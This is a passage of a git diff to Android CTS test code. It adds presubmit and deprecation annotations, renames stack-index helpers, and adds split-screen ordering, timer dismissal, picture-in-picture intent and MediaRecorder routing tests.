                 TEST_ACTIVITY_NAME);
@@ -244,6 +279,7 @@
     }
 
     @Test
+    @Presubmit
     public void testLaunchToSideSingleInstance() throws Exception {
         launchTargetToSide(SINGLE_INSTANCE_ACTIVITY_NAME, false);
     }
@@ -253,6 +289,8 @@
         launchTargetToSide(SINGLE_TASK_ACTIVITY_NAME, false);
     }
 
+
+    @Presubmit
     @Test
     public void testLaunchToSideMultipleWithDifferentIntent() throws Exception {
         launchTargetToSide(TEST_ACTIVITY_NAME, true);
@@ -279,8 +317,8 @@
         mAmWmState.computeState(waitForActivitiesVisible);
         mAmWmState.assertContainsStack("Must contain fullscreen stack.",
                 WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
-        int taskNumberInitial = mAmWmState.getAmState().getStandardStackByWindowingMode(
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY).getTasks().size();
+        int taskNumberInitial = mAmWmState.getAmState().getStandardTaskCountByWindowingMode(
+                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
         assertNotNull("Launched to side activity must be in fullscreen stack.",
                 mAmWmState.getAmState().getTaskByActivityName(
                         targetActivityName, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
@@ -288,8 +326,8 @@
         // Try to launch to side same activity again with different data.
         launchActivityToSide(true, false, targetActivityName);
         mAmWmState.computeState(waitForActivitiesVisible);
-        int taskNumberSecondLaunch = mAmWmState.getAmState().getStandardStackByWindowingMode(
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY).getTasks().size();
+        int taskNumberSecondLaunch = mAmWmState.getAmState().getStandardTaskCountByWindowingMode(
+                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
         if (taskCountMustIncrement) {
             assertEquals("Task number must be incremented.", taskNumberInitial + 1,
                     taskNumberSecondLaunch);
@@ -306,8 +344,8 @@
         // Try to launch to side same activity again with no data.
         launchActivityToSide(false, false, targetActivityName);
         mAmWmState.computeState(waitForActivitiesVisible);
-        int taskNumberFinal = mAmWmState.getAmState().getStandardStackByWindowingMode(
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY).getTasks().size();
+        int taskNumberFinal = mAmWmState.getAmState().getStandardTaskCountByWindowingMode(
+                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
         if (taskCountMustIncrement) {
             assertEquals("Task number must be incremented.", taskNumberSecondLaunch + 1,
                     taskNumberFinal);
@@ -322,6 +360,7 @@
                         targetActivityName, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
     }
 
+    @Presubmit
     @Test
     public void testLaunchToSideMultipleWithFlag() throws Exception {
         if (!supportsSplitScreenMultiWindow()) {
@@ -337,8 +376,8 @@
         // Launch activity to side.
         getLaunchActivityBuilder().setToSide(true).execute();
         mAmWmState.computeState(waitForActivitiesVisible);
-        int taskNumberInitial = mAmWmState.getAmState().getStandardStackByWindowingMode(
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY).getTasks().size();
+        int taskNumberInitial = mAmWmState.getAmState().getStandardTaskCountByWindowingMode(
+                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
         assertNotNull("Launched to side activity must be in fullscreen stack.",
                 mAmWmState.getAmState().getTaskByActivityName(
                         TEST_ACTIVITY_NAME, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
@@ -346,8 +385,8 @@
         // Try to launch to side same activity again, but with Intent#FLAG_ACTIVITY_MULTIPLE_TASK.
         getLaunchActivityBuilder().setToSide(true).setMultipleTask(true).execute();
         mAmWmState.computeState(waitForActivitiesVisible);
-        int taskNumberFinal = mAmWmState.getAmState().getStandardStackByWindowingMode(
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY).getTasks().size();
+        int taskNumberFinal = mAmWmState.getAmState().getStandardTaskCountByWindowingMode(
+                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
         assertEquals("Task number must be incremented.", taskNumberInitial + 1,
                 taskNumberFinal);
         mAmWmState.assertFocusedActivity("Launched to side activity must be in front.",
@@ -396,6 +435,7 @@
     }
 
     @Test
+    @Presubmit
     public void testRotationWhenDockedWhileLocked() throws Exception {
         if (!supportsSplitScreenMultiWindow()) {
             log("Skipping test: no split multi-window support");
@@ -443,6 +483,7 @@
     }
 
     @Test
+    @Presubmit
     public void testRotationWhileDockMinimized() throws Exception {
         if (!supportsSplitScreenMultiWindow()) {
             log("Skipping test: no split multi-window support");
@@ -507,6 +548,7 @@
     }
 
     @Test
+    @Presubmit
     public void testFinishDockActivityWhileMinimized() throws Exception {
         if (!supportsSplitScreenMultiWindow()) {
             log("Skipping test: no split multi-window support");
@@ -555,6 +597,7 @@
     }
 
     @Test
+    @Presubmit
     public void testResizeDockedStack() throws Exception {
         if (!supportsSplitScreenMultiWindow()) {
             log("Skipping test: no split multi-window support");
@@ -641,6 +684,7 @@
     }
 
     @Test
+    @Presubmit
     public void testStackListOrderLaunchDockedActivity() throws Exception {
         if (!supportsSplitScreenMultiWindow()) {
             log("Skipping test: no split multi-window support");
@@ -650,12 +694,43 @@
         launchActivityInDockStack(TEST_ACTIVITY_NAME);
         mAmWmState.computeState(new String[]{TEST_ACTIVITY_NAME});
 
-        final int homeStackIndex = mAmWmState.getStackPosition(ACTIVITY_TYPE_HOME);
-        final int recentsStackIndex = mAmWmState.getStackPosition(ACTIVITY_TYPE_RECENTS);
+        final int homeStackIndex = mAmWmState.getStackIndexByActivityType(ACTIVITY_TYPE_HOME);
+        final int recentsStackIndex = mAmWmState.getStackIndexByActivityType(ACTIVITY_TYPE_RECENTS);
         assertTrue("Recents stack should be on top of home stack",
                 recentsStackIndex < homeStackIndex);
     }
 
+    @Test
+    @Presubmit
+    public void testStackListOrderOnSplitScreenDismissed() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            log("Skipping test: no split multi-window support");
+            return;
+        }
+
+        launchActivityInDockStack(DOCKED_ACTIVITY_NAME);
+        mAmWmState.computeState(
+                new WaitForValidActivityState.Builder(DOCKED_ACTIVITY_NAME).build());
+        launchActivity(TEST_ACTIVITY_NAME, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
+
+        setActivityTaskWindowingMode(DOCKED_ACTIVITY_NAME, WINDOWING_MODE_FULLSCREEN);
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(
+                DOCKED_ACTIVITY_NAME).setWindowingMode(WINDOWING_MODE_FULLSCREEN).build());
+
+        final int homeStackIndex = mAmWmState.getStackIndexByActivityType(ACTIVITY_TYPE_HOME);
+        final int prevSplitScreenPrimaryIndex =
+                mAmWmState.getAmState().getStackIndexByActivityName(DOCKED_ACTIVITY_NAME);
+        final int prevSplitScreenSecondaryIndex =
+                mAmWmState.getAmState().getStackIndexByActivityName(TEST_ACTIVITY_NAME);
+
+        final int expectedHomeStackIndex =
+                (prevSplitScreenPrimaryIndex > prevSplitScreenSecondaryIndex
+                        ? prevSplitScreenPrimaryIndex : prevSplitScreenSecondaryIndex) - 1;
+        assertTrue("Home stack needs to be directly behind the top stack",
+                expectedHomeStackIndex == homeStackIndex);
+    }
+
     private void launchActivityInDockStackAndMinimize(String activityName) throws Exception {
         launchActivityInDockStackAndMinimize(activityName, SPLIT_SCREEN_CREATE_MODE_TOP_OR_LEFT);
     }
diff --git a/tests/framework/base/activitymanager/util/src/android/server/am/ActivityAndWindowManagersState.java b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityAndWindowManagersState.java
index 69ef567..c243715 100644
--- a/tests/framework/base/activitymanager/util/src/android/server/am/ActivityAndWindowManagersState.java
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityAndWindowManagersState.java
@@ -757,9 +757,9 @@
         return true;
     }
 
-    int getStackPosition(int activityType) {
-        int wmStackIndex = mWmState.getStackPosition(activityType);
-        int amStackIndex = mAmState.getStackPosition(activityType);
+    int getStackIndexByActivityType(int activityType) {
+        int wmStackIndex = mWmState.getStackIndexByActivityType(activityType);
+        int amStackIndex = mAmState.getStackIndexByActivityType(activityType);
         assertEquals("Window and activity manager must have the same stack position index",
                 amStackIndex, wmStackIndex);
         return wmStackIndex;
diff --git a/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerState.java b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerState.java
index e1e275d..3167282 100644
--- a/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerState.java
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerState.java
@@ -274,7 +274,20 @@
         return null;
     }
 
-    int getStackPosition(int activityType) {
+    int getStandardTaskCountByWindowingMode(int windowingMode) {
+        int count = 0;
+        for (ActivityStack stack : mStacks) {
+            if (stack.getActivityType() != ACTIVITY_TYPE_STANDARD) {
+                continue;
+            }
+            if (stack.getWindowingMode() == windowingMode) {
+                count += stack.mTasks.size();
+            }
+        }
+        return count;
+    }
+
+    int getStackIndexByActivityType(int activityType) {
         for (int i = 0; i < mStacks.size(); i++) {
             if (activityType == mStacks.get(i).getActivityType()) {
                 return i;
@@ -283,6 +296,21 @@
         return -1;
     }
 
+    int getStackIndexByActivityName(String activityName) {
+        final String fullName = ActivityManagerTestBase.getActivityComponentName(activityName);
+        for (int i = mStacks.size() - 1; i >=0 ; --i) {
+            final ActivityStack stack = mStacks.get(i);
+            for (ActivityTask task : stack.mTasks) {
+                for (Activity activity : task.mActivities) {
+                    if (activity.name.equals(fullName)) {
+                        return i;
+                    }
+                }
+            }
+        }
+        return -1;
+    }
+
     List<ActivityStack> getStacks() {
         return new ArrayList<>(mStacks);
     }
@@ -304,6 +332,21 @@
         return false;
     }
 
+    boolean containsActivityInWindowingMode(String activityName, int windowingMode) {
+        final String fullName = ActivityManagerTestBase.getActivityComponentName(activityName);
+        for (ActivityStack stack : mStacks) {
+            for (ActivityTask task : stack.mTasks) {
+                for (Activity activity : task.mActivities) {
+                    if (activity.name.equals(fullName)
+                            && activity.getWindowingMode() == windowingMode) {
+                        return true;
+                    }
+                }
+            }
+        }
+        return false;
+    }
+
     boolean isActivityVisible(String activityName) {
         for (ActivityStack stack : mStacks) {
             for (ActivityTask task : stack.mTasks) {
diff --git a/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java
index 6d94b9a..a14d1d6 100644
--- a/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java
@@ -36,7 +36,6 @@
 import android.content.Context;
 import android.graphics.Bitmap;
 import android.os.ParcelFileDescriptor;
-import android.os.RemoteException;
 import android.support.test.InstrumentationRegistry;
 import android.support.test.uiautomator.UiDevice;
 import android.view.Display;
@@ -276,6 +275,7 @@
 
     protected void removeStacksInWindowingModes(int... windowingModes) {
         mAm.removeStacksInWindowingModes(windowingModes);
+        waitForIdle();
     }
 
     public static String executeShellCommand(String command) {
@@ -308,6 +308,7 @@
         return InstrumentationRegistry.getInstrumentation().getUiAutomation().takeScreenshot();
     }
 
+    @Deprecated
     protected void launchActivityInComponent(final String componentName,
             final String targetActivityName, final String... keyValuePairs) throws Exception {
         final String originalComponentName = ActivityManagerTestBase.componentName;
@@ -316,17 +317,20 @@
         setComponentName(originalComponentName);
     }
 
+    @Deprecated
     protected void launchActivity(final String targetActivityName, final String... keyValuePairs)
             throws Exception {
         executeShellCommand(getAmStartCmd(targetActivityName, keyValuePairs));
         mAmWmState.waitForValidState(targetActivityName);
     }
 
+    @Deprecated
     protected void launchActivityNoWait(final String targetActivityName,
             final String... keyValuePairs) throws Exception {
         executeShellCommand(getAmStartCmd(targetActivityName, keyValuePairs));
     }
 
+    @Deprecated
     protected void launchActivityInNewTask(final String targetActivityName) throws Exception {
         executeShellCommand(getAmStartCmdInNewTask(targetActivityName));
         mAmWmState.waitForValidState(targetActivityName);
@@ -336,6 +340,7 @@
      * Starts an activity in a new stack.
      * @return the stack id of the newly created stack.
      */
+    @Deprecated
     protected int launchActivityInNewDynamicStack(final String activityName) throws Exception {
         HashSet<Integer> stackIds = getStackIds();
         executeShellCommand("am stack start " + ActivityAndWindowManagersState.DEFAULT_DISPLAY_ID
@@ -350,9 +355,11 @@
         }
     }
 
-    /**
-     * Returns the set of stack ids.
-     */
+    private void waitForIdle() {
+        InstrumentationRegistry.getInstrumentation().waitForIdleSync();
+    }
+
+    /** Returns the set of stack ids. */
     private HashSet<Integer> getStackIds() throws Exception {
         mAmWmState.computeState();
         final List<ActivityManagerState.ActivityStack> stacks = mAmWmState.getAmState().getStacks();
@@ -421,16 +428,18 @@
                 .build());
     }
 
+    @Deprecated
     protected void launchActivityInDockStack(String activityName) throws Exception {
         launchActivityInDockStack(activityName, SPLIT_SCREEN_CREATE_MODE_TOP_OR_LEFT);
     }
 
+    @Deprecated
     protected void launchActivityInDockStack(String activityName, int createMode)
             throws Exception {
         launchActivity(activityName);
         final int taskId = getActivityTaskId(activityName);
         mAm.setTaskWindowingModeSplitScreenPrimary(taskId, createMode, true /* onTop */,
-                false /* animate */, null /* initialBounds */);
+                false /* animate */, null /* initialBounds */, false /* showRecents */);
 
         mAmWmState.waitForValidState(activityName,
                 WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
@@ -1075,6 +1084,8 @@
         return null;
     }
 
+    // TODO: Now that our test are device side, we can convert these to a more direct communication
+    // channel vs. depending on logs.
     private static final Pattern sCreatePattern = Pattern.compile("(.+): onCreate");
     private static final Pattern sStartPattern = Pattern.compile("(.+): onStart");
     private static final Pattern sResumePattern = Pattern.compile("(.+): onResume");
@@ -1089,6 +1100,7 @@
             Pattern.compile("(.+): onMultiWindowModeChanged");
     private static final Pattern sPictureInPictureModeChangedPattern =
             Pattern.compile("(.+): onPictureInPictureModeChanged");
+    private static final Pattern sUserLeaveHintPattern = Pattern.compile("(.+): onUserLeaveHint");
     private static final Pattern sNewConfigPattern = Pattern.compile(
             "(.+): config size=\\((\\d+),(\\d+)\\) displaySize=\\((\\d+),(\\d+)\\)"
             + " metricsSize=\\((\\d+),(\\d+)\\) smallestScreenWidth=(\\d+) densityDpi=(\\d+)"
@@ -1175,6 +1187,31 @@
         return null;
     }
 
+    /** Waits for at least one onMultiWindowModeChanged event. */
+    ActivityLifecycleCounts waitForOnMultiWindowModeChanged(
+            String activityName, String logSeparator) {
+        int retriesLeft = 5;
+        ActivityLifecycleCounts result;
+        do {
+            result = new ActivityLifecycleCounts(activityName, logSeparator);
+            if (result.mMultiWindowModeChangedCount < 1) {
+                log("***waitForOnMultiWindowModeChanged...");
+                try {
+                    Thread.sleep(1000);
+                } catch (InterruptedException e) {
+                    log(e.toString());
+                    // Well I guess we are not waiting...
+                }
+            } else {
+                break;
+            }
+        } while (retriesLeft-- > 0);
+        return result;
+
+    }
+
+    // TODO: Now that our test are device side, we can convert these to a more direct communication
+    // channel vs. depending on logs.
     class ActivityLifecycleCounts {
         int mCreateCount;
         int mStartCount;
@@ -1186,13 +1223,15 @@
         int mLastMultiWindowModeChangedLineIndex;
         int mPictureInPictureModeChangedCount;
         int mLastPictureInPictureModeChangedLineIndex;
+        int mUserLeaveHintCount;
         int mPauseCount;
         int mStopCount;
         int mLastStopLineIndex;
         int mDestroyCount;
 
-        public ActivityLifecycleCounts(String activityName, String logSeparator) {
+        ActivityLifecycleCounts(String activityName, String logSeparator) {
             int lineIndex = 0;
+            waitForIdle();
             for (String line : getDeviceLogsForComponent(activityName, logSeparator)) {
                 line = line.trim();
                 lineIndex++;
@@ -1242,6 +1281,12 @@
                     continue;
                 }
 
+                matcher = sUserLeaveHintPattern.matcher(line);
+                if (matcher.matches()) {
+                    mUserLeaveHintCount++;
+                    continue;
+                }
+
                 matcher = sPausePattern.matcher(line);
                 if (matcher.matches()) {
                     mPauseCount++;
@@ -1275,13 +1320,15 @@
     protected static class LaunchActivityBuilder {
         private final ActivityAndWindowManagersState mAmWmState;
 
-        private String mTargetActivityName;
+        // The activity to be launched
+        private String mTargetActivityName = "TestActivity";
         private String mTargetPackage = componentName;
         private boolean mToSide;
         private boolean mRandomData;
         private boolean mNewTask;
         private boolean mMultipleTask;
         private int mDisplayId = INVALID_DISPLAY_ID;
+        // A proxy activity that launches other activities including mTargetActivityName
         private String mLaunchingActivityName = LAUNCHING_ACTIVITY;
         private boolean mReorderToFront;
         private boolean mWaitForLaunched;
diff --git a/tests/framework/base/activitymanager/util/src/android/server/am/WindowManagerState.java b/tests/framework/base/activitymanager/util/src/android/server/am/WindowManagerState.java
index e002c56..28b0fda 100644
--- a/tests/framework/base/activitymanager/util/src/android/server/am/WindowManagerState.java
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/WindowManagerState.java
@@ -516,7 +516,7 @@
         return null;
     }
 
-    int getStackPosition(int activityType) {
+    int getStackIndexByActivityType(int activityType) {
         for (int i = 0; i < mStacks.size(); i++) {
             if (activityType == mStacks.get(i).getActivityType()) {
                 return i;
diff --git a/tests/signature/api-check/Android.mk b/tests/signature/api-check/Android.mk
index 1d616cb..15fa178 100644
--- a/tests/signature/api-check/Android.mk
+++ b/tests/signature/api-check/Android.mk
@@ -30,7 +30,7 @@
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     cts-signature-common \
-    repackaged-legacy-test \
+    repackaged.android.test.base \
     repackaged.android.test.runner \
     repackaged.android.test.mock \
 
diff --git a/tests/tests/alarmclock/common/src/android/alarmclock/common/Utils.java b/tests/tests/alarmclock/common/src/android/alarmclock/common/Utils.java
index d469592..8f04d2a 100644
--- a/tests/tests/alarmclock/common/src/android/alarmclock/common/Utils.java
+++ b/tests/tests/alarmclock/common/src/android/alarmclock/common/Utils.java
@@ -24,8 +24,10 @@
 
     public enum TestcaseType {
         DISMISS_ALARM,
+        DISMISS_TIMER,
         SET_ALARM,
         SET_ALARM_FOR_DISMISSAL,
+        SET_TIMER_FOR_DISMISSAL,
         SNOOZE_ALARM,
     }
     public static final String TESTCASE_TYPE = "Testcase_type";
diff --git a/tests/tests/alarmclock/service/src/android/alarmclock/service/MainInteractionSession.java b/tests/tests/alarmclock/service/src/android/alarmclock/service/MainInteractionSession.java
index ede762a..547203e 100644
--- a/tests/tests/alarmclock/service/src/android/alarmclock/service/MainInteractionSession.java
+++ b/tests/tests/alarmclock/service/src/android/alarmclock/service/MainInteractionSession.java
@@ -78,12 +78,21 @@
                         AlarmClock.ALARM_SEARCH_MODE_NEXT);
                 break;
 
+            case DISMISS_TIMER:
+                intent = new Intent(AlarmClock.ACTION_DISMISS_TIMER);
+                break;
+
             case SET_ALARM_FOR_DISMISSAL:
             case SET_ALARM:
                 intent = new Intent(AlarmClock.ACTION_SET_ALARM);
                 intent.putExtra(AlarmClock.EXTRA_HOUR, 14);
                 break;
 
+            case SET_TIMER_FOR_DISMISSAL:
+                intent = new Intent(AlarmClock.ACTION_SET_TIMER);
+                intent.putExtra(AlarmClock.EXTRA_LENGTH, 10);
+                break;
+
             case SNOOZE_ALARM:
                 intent = new Intent(AlarmClock.ACTION_SNOOZE_ALARM);
                 break;
diff --git a/tests/tests/alarmclock/src/android/alarmclock/cts/AlarmClockTestBase.java b/tests/tests/alarmclock/src/android/alarmclock/cts/AlarmClockTestBase.java
index 224c8ab..69f19b9 100644
--- a/tests/tests/alarmclock/src/android/alarmclock/cts/AlarmClockTestBase.java
+++ b/tests/tests/alarmclock/src/android/alarmclock/cts/AlarmClockTestBase.java
@@ -89,11 +89,19 @@
               intent = new Intent(AlarmClock.ACTION_DISMISS_ALARM);
               break;
 
+          case DISMISS_TIMER:
+              intent = new Intent(AlarmClock.ACTION_DISMISS_TIMER);
+              break;
+
           case SET_ALARM:
           case SET_ALARM_FOR_DISMISSAL:
               intent = new Intent(AlarmClock.ACTION_SET_ALARM);
               break;
 
+          case SET_TIMER_FOR_DISMISSAL:
+              intent = new Intent(AlarmClock.ACTION_SET_TIMER);
+              break;
+
           case SNOOZE_ALARM:
               intent = new Intent(AlarmClock.ACTION_SNOOZE_ALARM);
               break;
diff --git a/tests/tests/alarmclock/src/android/alarmclock/cts/DismissTimerTest.java b/tests/tests/alarmclock/src/android/alarmclock/cts/DismissTimerTest.java
new file mode 100644
index 0000000..dff8835
--- /dev/null
+++ b/tests/tests/alarmclock/src/android/alarmclock/cts/DismissTimerTest.java
@@ -0,0 +1,11 @@
+package android.alarmclock.cts;
+
+import android.alarmclock.common.Utils;
+
+public class DismissTimerTest extends AlarmClockTestBase {
+
+    public void testAll() throws Exception {
+        assertEquals(Utils.COMPLETION_RESULT, runTest(Utils.TestcaseType.SET_TIMER_FOR_DISMISSAL));
+        assertEquals(Utils.COMPLETION_RESULT, runTest(Utils.TestcaseType.DISMISS_TIMER));
+    }
+}
diff --git a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
index 3ce69b1..a7e2815 100644
--- a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
+++ b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
@@ -354,4 +354,11 @@
             assertCanBeHandled(new Intent(Settings.ACTION_FINGERPRINT_ENROLL));
         }
     }
+
+    public void testPictureInPictureSettings() {
+        PackageManager packageManager = mContext.getPackageManager();
+        if (packageManager.hasSystemFeature(PackageManager.FEATURE_PICTURE_IN_PICTURE)) {
+            assertCanBeHandled(new Intent(Settings.ACTION_PICTURE_IN_PICTURE_SETTINGS));
+        }
+    }
 }
diff --git a/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp b/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
index 33a9a1d..77ac34b 100644
--- a/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
+++ b/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
@@ -77,8 +77,7 @@
 
 static bool not_accessible(const std::string& library, const std::string& err) {
   return err.find("dlopen failed: library \"" + library + "\"") == 0 &&
-         (err.find("is not accessible for the namespace \"classloader-namespace\"") != std::string::npos ||
-          err.find("is not accessible for the namespace \"sphal\"") != std::string::npos);
+         err.find("is not accessible for the namespace \"classloader-namespace\"") != std::string::npos;
 }
 
 static bool not_found(const std::string& library, const std::string& err) {
diff --git a/tests/tests/jni_vendor/libvendorjnitest/Android.mk b/tests/tests/jni_vendor/libvendorjnitest/Android.mk
index ca59ee8..c9e9205 100644
--- a/tests/tests/jni_vendor/libvendorjnitest/Android.mk
+++ b/tests/tests/jni_vendor/libvendorjnitest/Android.mk
@@ -36,4 +36,6 @@
 
 LOCAL_CFLAGS := -Wno-unused-parameter
 
+LOCAL_VENDOR_MODULE := true
+
 include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/media/src/android/media/cts/MediaDrmMockTest.java b/tests/tests/media/src/android/media/cts/MediaDrmMockTest.java
index a197cca..75f191d 100644
--- a/tests/tests/media/src/android/media/cts/MediaDrmMockTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaDrmMockTest.java
@@ -674,7 +674,6 @@
                                     Log.d(TAG,"testEventNoSessionNoData.onEvent");
                                     assertTrue(md == mMediaDrm);
                                     assertTrue(event == 2);
-                                    assertTrue(extra == 456);
                                     assertTrue(sessionId == null);
                                     assertTrue(data == null);
                                     mGotEvent = true;
@@ -753,7 +752,6 @@
                                     Log.d(TAG,"testEventWithSessoinAndData.onEvent");
                                     assertTrue(md == mMediaDrm);
                                     assertTrue(event == 1);
-                                    assertTrue(extra == 123);
                                     assertTrue(Arrays.equals(sessionId, expected_sessionId));
                                     assertTrue(Arrays.equals(data, expected_data));
                                     mGotEvent = true;
diff --git a/tests/tests/media/src/android/media/cts/RoutingTest.java b/tests/tests/media/src/android/media/cts/RoutingTest.java
index 65a4d20..ddb534a 100644
--- a/tests/tests/media/src/android/media/cts/RoutingTest.java
+++ b/tests/tests/media/src/android/media/cts/RoutingTest.java
@@ -27,22 +27,31 @@
 import android.media.AudioRouting;
 import android.media.AudioTrack;
 import android.media.MediaPlayer;
+import android.media.MediaFormat;
 import android.media.MediaRecorder;
 
+import android.os.Environment;
 import android.os.Handler;
 import android.os.Looper;
-
 import android.os.SystemClock;
+
 import android.test.AndroidTestCase;
 
 import android.util.Log;
 
+import com.android.compatibility.common.util.MediaUtils;
+
+import java.io.File;
 import java.lang.Runnable;
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.Set;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
 /**
- * AudioTrack / AudioRecord preferred device and routing listener tests.
+ * AudioTrack / AudioRecord / MediaPlayer / MediaRecorder preferred device
+ * and routing listener tests.
  * The routing tests are mostly here to exercise the routing code, as an actual test would require
  * adding / removing an audio device for the listeners to be called.
  * The routing listener code is designed to run for two versions of the routing code:
@@ -53,9 +62,16 @@
     private static final String TAG = "RoutingTest";
     private static final int MAX_WAITING_ROUTING_CHANGED_COUNT = 3;
     private static final long WAIT_ROUTING_CHANGE_TIME_MS = 1000;
+    private static final int AUDIO_BIT_RATE_IN_BPS = 12200;
+    private static final int AUDIO_SAMPLE_RATE_HZ = 8000;
+    private static final long MAX_FILE_SIZE_BYTE = 5000;
+    private static final int RECORD_TIME_MS = 3000;
+    private static final Set<Integer> AVAILABLE_INPUT_DEVICES_TYPE = new HashSet<>(
+        Arrays.asList(AudioDeviceInfo.TYPE_BUILTIN_MIC));
 
     private AudioManager mAudioManager;
     private CountDownLatch mRoutingChangedLatch;
+    private File mOutFile;
 
     @Override
     protected void setUp() throws Exception {
@@ -66,6 +82,14 @@
         assertNotNull(mAudioManager);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        if (mOutFile != null && mOutFile.exists()) {
+            mOutFile.delete();
+        }
+        super.tearDown();
+    }
+
     private AudioTrack allocAudioTrack() {
         int bufferSize =
                 AudioTrack.getMinBufferSize(
@@ -609,4 +633,114 @@
         mediaPlayer.stop();
         mediaPlayer.release();
     }
+
+    private MediaRecorder allocMediaRecorder() throws Exception {
+        final String outputPath = new File(Environment.getExternalStorageDirectory(),
+            "record.out").getAbsolutePath();
+        mOutFile = new File(outputPath);
+        MediaRecorder mediaRecorder = new MediaRecorder();
+        mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
+        assertEquals(0, mediaRecorder.getMaxAmplitude());
+        mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
+        mediaRecorder.setOutputFile(outputPath);
+        mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
+        mediaRecorder.setAudioChannels(AudioFormat.CHANNEL_OUT_DEFAULT);
+        mediaRecorder.setAudioSamplingRate(AUDIO_SAMPLE_RATE_HZ);
+        mediaRecorder.setAudioEncodingBitRate(AUDIO_BIT_RATE_IN_BPS);
+        mediaRecorder.setMaxFileSize(MAX_FILE_SIZE_BYTE);
+        mediaRecorder.prepare();
+        mediaRecorder.start();
+        // Sleep a while to ensure the underlying AudioRecord is initialized.
+        Thread.sleep(1000);
+        return mediaRecorder;
+    }
+
+    public void test_mediaRecorder_preferredDevice() throws Exception {
+        if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_MICROPHONE)
+                || !MediaUtils.hasEncoder(MediaFormat.MIMETYPE_AUDIO_AAC)) {
+            MediaUtils.skipTest("no audio codecs or microphone");
+            return;
+        }
+
+        MediaRecorder mediaRecorder = allocMediaRecorder();
+
+        // None selected (new MediaPlayer), so check for default
+        assertNull(mediaRecorder.getPreferredDevice());
+
+        // resets to default
+        assertTrue(mediaRecorder.setPreferredDevice(null));
+
+        // test each device
+        AudioDeviceInfo[] deviceList = mAudioManager.getDevices(AudioManager.GET_DEVICES_INPUTS);
+        for (int index = 0; index < deviceList.length; index++) {
+            if (!AVAILABLE_INPUT_DEVICES_TYPE.contains(deviceList[index].getType())) {
+                // Only try to set devices whose type is contained in predefined set as preferred
+                // device in case of permission denied when switching input device.
+                continue;
+            }
+            assertTrue(mediaRecorder.setPreferredDevice(deviceList[index]));
+            assertTrue(mediaRecorder.getPreferredDevice() == deviceList[index]);
+        }
+
+        // Check defaults again
+        assertTrue(mediaRecorder.setPreferredDevice(null));
+        assertNull(mediaRecorder.getPreferredDevice());
+        Thread.sleep(RECORD_TIME_MS);
+
+        mediaRecorder.stop();
+        mediaRecorder.release();
+    }
+
+    public void test_mediaRecorder_getRoutedDeviceId() throws Exception {
+        if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_MICROPHONE)
+            || !MediaUtils.hasEncoder(MediaFormat.MIMETYPE_AUDIO_AAC)) {
+            MediaUtils.skipTest("no audio codecs or microphone");
+            return;
+        }
+
+        MediaRecorder mediaRecorder = allocMediaRecorder();
+
+        AudioDeviceInfo routedDevice = mediaRecorder.getRoutedDevice();
+        assertNotNull(routedDevice); // we probably can't say anything more than this
+        Thread.sleep(RECORD_TIME_MS);
+
+        mediaRecorder.stop();
+        mediaRecorder.release();
+    }
+
+    public void test_mediaRecorder_RoutingListener() throws Exception {
+        if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_MICROPHONE)
+            || !MediaUtils.hasEncoder(MediaFormat.MIMETYPE_AUDIO_AAC)) {
+            MediaUtils.skipTest("no audio codecs or microphone");
+            return;
+        }
+
+        MediaRecorder mediaRecorder = allocMediaRecorder();
+
+        // null listener
+        mediaRecorder.addOnRoutingChangedListener(null, null);
+
+        AudioRoutingListener listener = new AudioRoutingListener();
+        AudioRoutingListener someOtherListener = new AudioRoutingListener();
+
+        // add a listener
+        mediaRecorder.addOnRoutingChangedListener(listener, null);
+
+        // remove listeners we didn't add
